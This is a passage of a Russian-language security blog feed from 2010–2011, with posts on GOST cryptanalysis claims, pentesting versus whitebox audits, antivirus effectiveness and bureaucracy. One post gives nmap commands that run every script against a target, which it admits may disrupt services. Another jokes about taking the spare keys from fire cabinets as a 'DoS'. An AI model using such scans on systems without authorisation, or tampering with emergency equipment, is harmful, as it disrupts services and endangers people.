компенсируется количество раундов - давно известно, здесь как раз это и эксплуатируется.&lt;br /&gt;6. Отдельно про презентацию Исоби хочется отметить, что даже когда вы-таки сподобились и как-то насобирали 2^32 пар шифртекстов и открытых текстов (C/P), сложность атаки остается 2^225 (См. слайд "Result" его презентации). У меня проблема, я не могу с ходу понять что мне, как взломщику, проще: выполнить обычный перебор из 1 пары C/P и сложностью 2^256 или наловить 2^32 C/P, провести с этим какие-то шаманства "Reflection Meet-In-The-Middle" (R-MITM) и отбрутофорсить выделенные этим шаманством "Surviving Key Space", причем общая сложность будет 2^225, что, в общем-то не сильно отличается от 2^256.... Думайте сами.&lt;br /&gt;&lt;br /&gt;Итого: Тяжело оценить вклад Куртуа/Исоби в практику компрометации ГОСТа (в основном, очень мало информации - может, в этом и секрет, что секрета просто нет :-)) =&amp;gt; не стоит делать поспешных выводов и, тем более, тратить нервную систему.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-3253923877132548934?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/07/28147-89.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-3482483930096608015</guid><pubDate>Fri, 22 Jul 2011 07:20:00 +0000</pubDate><atom:updated>2011-07-23T00:06:01.608+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Security</category><category domain="http://www.blogger.com/atom/ns#">Audit</category><category domain="http://www.blogger.com/atom/ns#">Software</category><title>nmap подумает за нас</title><description>&lt;div style="text-align: justify;"&gt;Достаточно давно в сканере портов nmap ввели функционал скриптов, которые выполняют высокоуровневые проверки в процессе сканирования портов. Многие не используют данную замечательную возможность, так как считают, что при этом нужно знать названия скриптов.&lt;br /&gt;В случае готовности отступить на шаг назад и не требовать от nmap'а детального анализа, можно выполнять сканирование в режиме "проверить все". При этом оставаясь script-kiddie мы чувствуем себя like hacker.&lt;br /&gt;Если для Вас не важно, как будут чувствовать себя сервисы в аудируемом сегменте сканируйте следующей командой:&lt;br /&gt;nmap -A -PN --script=all --reason &lt;target&gt;&lt;br /&gt;Если же Вам жаль проверяемого и Вы хотите исключить потенциально опасные скрипты:&lt;br /&gt;nmap -A -PN --script=default --reason &lt;target&gt;&lt;br /&gt;или&lt;br /&gt;nmap -A -PN -sC --reason &lt;target&gt;&lt;br /&gt;Есть еще варианты, но стоит ли засорять ими мозг? Разом ударить из всех орудий - что может быть проще и громче?!&lt;br /&gt;&lt;br /&gt;&lt;/target&gt;&lt;/target&gt;&lt;/target&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-3482483930096608015?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/07/nmap.html</link><author>noreply@blogger.com (Igor Gots)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-2034883129509346589</guid><pubDate>Thu, 23 Jun 2011 10:07:00 +0000</pubDate><atom:updated>2011-06-23T14:12:06.723+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Enterprise Security</category><category domain="http://www.blogger.com/atom/ns#">Malware</category><title>Антивирус мертв?</title><description>&lt;span style="font-family: arial;"&gt;Ну и кто после &lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.signal11.eu/en/research/articles/malicious_pdf.html"&gt;подобного &lt;/a&gt;&lt;span style="font-family: arial;"&gt;опровергнет утверждение: "Антивирус мертв"?!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;В любом случае, наверное, следует согласиться с &lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.schneier.com/blog/archives/2009/11/is_antivirus_de.html"&gt;Шнаером &lt;/a&gt;&lt;span style="font-family: arial;"&gt;что он лучше, чем его отсутствие.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-2034883129509346589?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/06/blog-post_23.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-3480804321746096430</guid><pubDate>Thu, 23 Jun 2011 09:01:00 +0000</pubDate><atom:updated>2011-06-23T13:08:45.973+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Audit</category><title>Защищаться от пентестера?</title><description>&lt;span style="font-family: arial;"&gt;Идеологически неправильная &lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.sans.org/reading_room/whitepapers/tools/about-face-defending-organization-penetration-testing-teams_33553"&gt;статья&lt;/a&gt;&lt;span style="font-family: arial;"&gt;! Не пойму, зачем мне мешать пентестеру, тянуть его время и пр., - он же на меня работает!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Понятно, что на его месте может быть реальный злоумышленник, и пока он сражается с моими honeypot-ами, я его обнаружу IDS-ами, но так и надо же писать. А то: "мы будем мешать пентестеру", мы тут не в кошки-мышки играем!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-3480804321746096430?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/06/blog-post.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-1395475082611726812</guid><pubDate>Sun, 08 May 2011 18:31:00 +0000</pubDate><atom:updated>2011-05-08T23:04:11.300+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Enterprise Security</category><category domain="http://www.blogger.com/atom/ns#">Audit</category><title>Нужен ли Вам пентест после внедрения?</title><description>&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Обычная таблица";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-para-margin:0cm;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style="font-family:Arial;"&gt;Совсем немного времени прошло с момента публикации о &lt;a href="http://reply-to-all.blogspot.com/2008/12/blog-post_12.html"&gt;&lt;u&gt;доверии пентестеру&lt;/u&gt;&lt;/a&gt;. В двух словах, тогда я пытался показать, что провести оценку качества работы пентестера крайне сложно, а, следовательно, весьма затруднительно судить об эффективности (как “&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;effectiveness&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;”, так и “&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;efficiency&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;”) такой работы, что, в конечном итоге, сводит к нулю возможность проведения всяких &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;cost&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;/&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;benefit&lt;/span&gt;&lt;span style="font-family:Arial;"&gt; анализов. Сейчас я попытаюсь порассуждать вообще на тему необходимости проведения аудита в режиме теста на проникновение в сравнении с т.н. Анализом защищенности.&lt;/span&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Сначала разберемся с терминологией. Здесь под «&lt;a href="http://en.wikipedia.org/wiki/Penetration_test"&gt;тестом на проникновение&lt;/a&gt;» я понимаю аудит, в рамках которого производится попытка имитации действий вероятного злоумышленника с целью получения неавторизованного доступа. Принципиально здесь то, что а) сведения о конфигурации системы у аудитора ограничены (в реальной жизни зачастую – это &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;blackbox&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-тестирование), б) аудитор пытается эксплуатировать выявленную уязвимость, довести ее до проникновения.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Под «анализом защищенности» я буду понимать полностью открытый аудит (&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;whitebox&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-тестирование), в рамках которого производится проверка конфигурации системы и сопоставление ее с соответствующими рекомендациями производителей и независимых экспертов. Принципиально здесь то, что а) аудитор располагает полнейшими сведениями о конфигурации системы, б) аудитор удовлетворяется тем, что выявил уязвимость, которая, по сути, является не чем иным, как расхождением с какой-либо «лучшей практикой», не пытается ее эксплуатировать.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Заказывая аудит, я не склонен играть в «кошки-мышки». Я заинтересован, чтобы аудитор отработал максимально эффективно, для чего логично предоставить ему максимально возможное количество информации о проверяемой системе. Аудитор работает на меня, мне выгоден сценарий &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;whitebox&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-тестирования. Да и в реальной жизни надежнее полагать, что злоумышленнику известно больше, чем мы ожидаем.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Теперь немного об уязвимостях. Крайне крупно их можно подразделить на:&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-top: 0cm;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Уязвимости непосредственно самого ПО. Они      полностью на совести разработчика и могут быть исправлены, главным      образом, только им самим (выпущено исправление).&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Уязвимости конфигурации. Они возникают ввиду      неправильной настройки системы. В конечном итоге их можно свести к      нарушению каких-либо рекомендаций кого-либо («лучших практик»).&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Классическая ситуация на коммерческом предприятии, в задачи которого &lt;b style=""&gt;не входит&lt;/b&gt; финансирование исследований в области информационной безопасности, состоит в том, что:&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-top: 0cm;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Процесс установки обновлений используемых      программных продуктов отстроен: обновления ставятся своевременно, в      соответствии с рекомендациями производителей ПО.&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Новые системы представляют собой, как правило,      «коробочные» решения, разработанные известными производителями ПО,      внедренные внешними подрядчиками или своими силами.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;В целом, я работаю на коммерческом предприятии, и ситуация у меня ровно такая же. Производитель коробочного решения мне гарантирует, что он сделает все возможное для того, чтобы его ПО было безопасным. Для этого у него есть отработанная процедура выпуска обновлений безопасности. Причем, обычно, эксплоит «в природе» появляется позже, чем производитель моего ПО публикует &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;advisory&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt; &lt;/span&gt;&lt;span style="font-family:Arial;"&gt;и выпускает заплатку. Мои доблестные ИТшники имеют настолько хорошо отлаженный процесс установки обновлений, что на момент выхода эксплоита, нужный патч уже стоит. Ну, а если эксплоит появился раньше, чем производитель моего ПО смог обнаружить у себя уязвимость (&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;zero&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;day&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;), то и здесь мировое сообщество, производители решений безопасности (например, &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Intrusion_prevention_system"&gt;&lt;u&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;IPS&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;&lt;span style="font-family:Arial;"&gt; и &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Anti-virus"&gt;&lt;u&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;AV&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;&lt;span style="font-family:Arial;"&gt;, оборона должна быть эшелонированной&lt;u&gt;!&lt;/u&gt;), да и сам производитель ПО, меня не оставят – предложат обходные/временные варианты, которые смогут значительно снизить вероятность эксплуатирования &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;zero&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;day&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-я, пока разработчик ПО не исправит проблему. В общем, вероятность быть компрометированным из-за уязвимости «коробочного» ПО крайне мала, при условии, что я выполняю все рекомендации его производителя (а это надо делать!). Более того, на процесс повышения безопасности коробочного ПО крайне сложно влиять: я не защищусь от уязвимости никак, пока производитель не выпустит &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;advisory&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;. Так стоит ли мне искать такие уязвимости? Очевидно, нет. Как выйдет патч, он будет установлен, независимо от того, чьими ресурсами было произведено исследование узявимости. Итого, уязвимости непосредственно самого ПО мне искать нет необходимости.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Другое дело – уязвимости конфигурации. Есть масса причин почему вероятность их возникновения достаточно высока – от недостаточной квалификации подрядчика или «своих сил», до действительно высокой сложности выполняемых настроек. Но, в отличие от «дыр в ПО» на такие уязвимости можно самостоятельно влиять. Анализ защищенности мне здесь поможет. Кропотливо, внимательнейшим образом, провести полный анализ настроек на предмет наличия уязвимостей конфигурации. Выявленные проблемы соответствующим образом исправить. Очевидно, это сразу приведет к повышению безопасности моей системы.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Теперь поговорим об эффективности видов аудита.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;a href="http://1.bp.blogspot.com/-N5l-jtjXIpA/TcbiUkWKRaI/AAAAAAAAAwk/m7rCL7M1vgc/s1600/pentest.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 171px;" src="http://1.bp.blogspot.com/-N5l-jtjXIpA/TcbiUkWKRaI/AAAAAAAAAwk/m7rCL7M1vgc/s400/pentest.JPG" alt="" id="BLOGGER_PHOTO_ID_5604415629291046306" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Тест на проникновение способен выявить оба типа уязвимостей. Но его &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;effectiveness&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt; &lt;/span&gt;&lt;span style="font-family:Arial;"&gt;достаточно низкая, поскольку:&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-top: 0cm;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Гарантировано не все уязвимости будут им      выявлены, поскольку классический сценарий ближе к blackbox, тогда как whitebox      для поиска уязвимостей конфигураци, очевидно, продуктивнее.&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Уязвимости самого ПО вообще нет смысла искать,      так как их обнаружение не ведет к повышению безопасности ПО, пока      производитель не выпустит advisory.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Не велика и его &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;efficiency&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;, поскольку, мне не надо показывать «фокус» – не надо демонстрировать, что уязвимость может быть эксплуатирована, я верю написанному в &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;advisory&lt;/span&gt;&lt;span style="font-family:Arial;"&gt; и так. Был показательный случай. У меня работали аудиторы, делали пентест. Отсканировали &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Nmap"&gt;&lt;u&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;nmap&lt;/span&gt;&lt;/u&gt;&lt;u&gt;&lt;span style="font-family:Arial;"&gt;-ом&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;&lt;span style="font-family:Arial;"&gt; с флажком –&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;v&lt;/span&gt;&lt;span style="font-family:Arial;"&gt; (показывать версии), узнали, что стоит уязвимый &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Sendmail"&gt;&lt;u&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;sendmail&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;&lt;span style="font-family:Arial;"&gt;, в котором можно через переполнение буфера и получить &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;shell&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt; &lt;/span&gt;&lt;span style="font-family:Arial;"&gt;пользователя &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;root&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;. В целом, мне этой информации достаточно: &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;sendmail&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt; &lt;/span&gt;&lt;span style="font-family:Arial;"&gt;надо либо остановить (в том случае надо было делать именно так, так как он не использовался), либо обновить на неуязвимую версию. Но мы играем в пентест, а значит, мы должны довести уязвимость до эксплуатирования. Аудиторы обшарили весь интернет, но так и не нашил эксплоит для моей операционной системы (&lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/HP-UX"&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;HP&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;UX&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Arial;"&gt;), есть под &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;SUN Solaris&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;, под &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;RedHat&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;Linux&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;, а под &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;HP&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;UX&lt;/span&gt;&lt;span style="font-family:Arial;"&gt; на &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/PA-RISC"&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;PA&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Arial;"&gt;&lt;a href="http://en.wikipedia.org/wiki/PA-RISC"&gt;-процессоре&lt;/a&gt; – нет. Что ж, как я говорил, я заинтересован помогать аудиторам, ­- я нашел им такое же железо с такой же ОС и тем же &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;Sendmail&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;-ом. У них в команде был программист, который убил несколько дней на упражнения с &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Gdb"&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;gdb&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Arial;"&gt;, но так и не написал эксплоит… И это эффективная трата ресурсов?&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Анализ защищенности не способен выявлять уязвимости самого ПО. Да это и не надо! Зато уязвимости конфигурации по сценарию &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;whitebox&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt; &lt;/span&gt;&lt;span style="font-family:Arial;"&gt;им будут выявлены очень даже хорошо. Вера в &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;effectiveness&lt;/span&gt;&lt;span style="font-family:Arial;"&gt; такого аудита у меня значительно выше: скорее всего б&lt;b style=""&gt;о&lt;/b&gt;льшая часть «косяков» будет успешно найдена и исправлена. С &lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;efficiency&lt;/span&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt; &lt;/span&gt;&lt;span style="font-family:Arial;"&gt;тоже все понятно – как минимум, не надо тратить время на эксплуатирование уязвимости, особенно, на написание эксплоитов.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Итого:&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-top: 0cm;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Если в проекте вы не разрабатываете ПО, а      используете «коробочные» решения и настраиваете их – вам не нужен пентест,      тщательный Анализ защищенности – ваш выбор.&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Если вы разрабатываете ПО и есть возможность      провести анализ кода – тщательный Анализ защищенности и code review – ваш      выбор.&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Arial;"&gt;Если вы разрабатываете ПО и исходников нет, -      тут только пентест, может, что-то выявится. Но настройки, как и прежде,      лучше посмотрит Анализ защищенности.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt;Эффективность Анализа защищенности косвенно подтверждается рынком, - как правило, он значительно дороже, чем пентест. &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;PS&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="font-family:Arial;"&gt;: Перечитал написанное. Может сложиться неправильное впечатление, что пентесты не нужны как класс. Совсем нет! Просто, все хорошо к месту. Возможна ситуация, когда действительно есть задача поиграть с «черные шляпы» и «белые шляпы». Ну, например, ИТ и ИТ-безопасность у меня аутсорсятся и есть задача проверить, насколько хорошо я защищен. Логично в этой ситуации именно провести пентест на мою информационную систему, и тем самым проверить насколько мои аутсорсеры хорошо выполняют наше с ними &lt;/span&gt;&lt;/i&gt;&lt;a href="http://en.wikipedia.org/wiki/Service_level_agreement"&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="font-family:Arial;"&gt;SLA&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i style=""&gt;&lt;span style="font-family:Arial;"&gt;. Почему логично пентест? Потому что он а) дешевле, как следствие, быстрее, б) нагляднее, как для проверяемых ИТшников и Безопасников, так и для меня-заказчика: приближен к реальным условиям, сразу показывает неоспоримый результат, в) можно действительно остановиться после первого же успешного взлома – задача показать возможность взлома при данном уровне работы аутсорсера, найти все остальные варианты реализации взлома – уже факультативно. Подумав, можно найти и другие случаи, когда пентест – лучший выбор, но всегда перед заказом аудита обязательно внимательно проанализируйте цели этой работы, решите, что вам нужно. Не надо тут полагаться на мнение подрядчика-аудитора, - он вам продаст все, что умеет, для него - это бизнес, но никто и ничто не заменит вам вашу логику.&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-top: 12pt;"&gt;&lt;span style="font-family:Arial;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-1395475082611726812?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/05/blog-post.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-N5l-jtjXIpA/TcbiUkWKRaI/AAAAAAAAAwk/m7rCL7M1vgc/s72-c/pentest.JPG" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-9221892910770484413</guid><pubDate>Mon, 14 Feb 2011 07:14:00 +0000</pubDate><atom:updated>2011-02-14T10:24:33.569+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Physical Security</category><title>Пожарные щиты</title><description>Мы видим&lt;a href="http://pogkontrol.ru/catalog/pogshkaf/shkaf_pk/"&gt; пожарные щиты&lt;/a&gt; каждый день. Они закрыты на ключ. &lt;span style="font-weight: bold;"&gt;Запасной&lt;/span&gt; ключ должен находится в нише, закрытой стеклом. Ключей 2.&lt;br /&gt;Теперь идем к щитам. Ключей за стеклом почти везде 2.&lt;br /&gt;Собираем все ключи.&lt;br /&gt;Чем не DOS?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-9221892910770484413?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/02/blog-post.html</link><author>noreply@blogger.com (Igor Gots)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-737764877429929826</guid><pubDate>Fri, 19 Nov 2010 14:33:00 +0000</pubDate><atom:updated>2010-11-22T18:51:09.963+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Support</category><title>Бюрократия</title><description>Все мы сталкиваемся с процедурами в процессе работы. Так или иначе, все они высосаны из пальца, не смотря на то, что призваны упорядочить работу.&lt;br /&gt;Почему "высосаны из пальца"? Да потому-что они не естественны!&lt;br /&gt;Если какой-нить "бизнес-процесс" на ферме можно оптимизировать простым перекрикиванием через забор, то в "офисе" это требует генерации кучи документов. И все для того, чтобы в конце убедиться, что нужны дополнительные итерации.&lt;br /&gt;Как Вы боретесь с этим? Где грань между бюрократией и разумным регламентированием? Как избежать формализма в части чтения талмудов по безопасности, соблюдения сотен параграфов и пометок?&lt;br /&gt;Как сделать процесс обеспечения безопасности простым и понятным для сотен сотрудников?&lt;br /&gt;Я начал замечать, что правильнее с человека взять бумажку, подпись, расписку, нежели просто обеспечить его работу. Это напрягает. Ведь так не должно быть! Ведь должно быть что-то в стиле "Хей, Василий, корма сегодня Дуньке дай побольше!" - "Да не вопрос, МарьВанна, щас только чай допью!"&lt;div 